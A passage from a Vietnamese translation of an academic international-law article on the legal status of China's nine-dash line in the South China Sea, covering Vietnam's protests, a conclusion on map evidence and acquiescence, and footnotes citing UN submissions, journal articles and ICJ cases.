Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div>
<div>
</div>
<div>
3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div>
<div>
</div>
<div>
4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div>
<div>
</div>
<div>
5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div>
<div>
</div>
<div>
Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div>
<div>
</div>
<div>
KẾT LUẬN</div>
<div>
</div>
<div>
Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div>
<div>
</div>
<div>
Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div>
<div>
</div>
<div>
Người dịch: Phan Văn Song</div>
<div>
</div>
<div>
Hiệu đính: Lê Trung Tĩnh</div>
<div>
</div>
<div>
--------------</div>
<div>
* Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div>
<div>
**Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div>
<div>
</div>
<div>
[1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div>
<div>
[2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div>
<div>
</div>
<div>
1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div>
<div>
</div>
<div>
2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div>
<div>
Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div>
<div>
</div>
<div>
[3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div>
<div>
</div>
<div>
[4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div>
<div>
</div>
<div>
[5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div>
<div>
</div>
<div>
[6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div>
<div>
</div>
<div>
[7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div>
<div>
[8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div>
<div>
[9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div>
<div>
[10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div>
<div>
</div>
<div>
[11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div>
<div>
</div>
<div>
[12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div>
<div>
</div>
<div>
[13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div>
<div>
[14] Paracel Islands (quẩn đảo Hoàng Sa).</div>
<div>
</div>
<div>
[15] Spratly Islands (quẩn đảo Trường Sa).</div>
<div>
</div>
<div>
[16] Macclesfield Bank (bãi cạn Macclesfiled).</div>
<div>
</div>
<div>
[17] Pratas Islands (quẩn đảo Pratas).</div>
<div>
</div>
<div>
[18] Hu, supra note 6 at 204–6.</div>
<div>
</div>
<div>
[19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div>
<div>
</div>
<div>
[20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div>
<div>
[21] People’s Republic of China, supra note 4.</div>
<div>
</div>
<div>
[22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div>
<div>
</div>
<div>
[23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div>
<div>
</div>
<div>
[24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div>
<div>
</div>
<div>
[25] Dzurek, supra note 3 at 13.</div>
<div>
</div>
<div>
[26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div>
<div>
</div>
<div>
[27] Dzurek, supra note 3 at 13.</div>
<div>
</div>
<div>
[28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div>
<div>
</div>
<div>
[29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div>
<div>
</div>
<div>
[30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div>
<div>
</div>
<div>
[31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div>
<div>
</div>
<div>
[32] Zou, supra note 33 at 152.</div>
<div>
</div>
<div>
[33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div>
<div>
</div>
<div>
[34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div>
<div>
</div>
<div>
[35] Zou, supra note 33 at 161 and references, supra note 25.</div>
<div>
</div>
<div>
[36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div>
<div>
</div>
<div>
[37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div>
<div>
</div>
<div>
[38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div>
<div>
(Supplement No. 8) 9.</div>
<div>
</div>
<div>
[39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div>
<div>
</div>
<div>
[40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div>
<div>
</div>
<div>
[41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div>
<div>
Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div>
<div>
</div>
<div>
[42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div>
<div>
</div>
<div>
[43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div>
<div>
</div>
<div>
[44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div>
<div>
</div>
<div>
[45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div>
<div>
</div>
<div>
[46] Nguyen, supra note 46 at 257.</div>
<div>
</div>
<div>
[47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div>
<div>
Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div>
<div>
Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div>
<div>
Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div>
<div>
Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div>
<div>
Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div>
<div>
Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div>
<div>
Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div>
<div>
</div>
<div>
[48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div>
<div>
</div>
<div>
[49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div>
<div>
</div>
<div>
[50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div>
<div>
</div>
<div>
[51] Dzurek, supra note 3 at 11.</div>
<div>
</div>
<div>
[52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div>
<div>
</div>
<div>
[53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div>
<div>
</div>
<div>
[54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div>
<div>
</div>
<div>
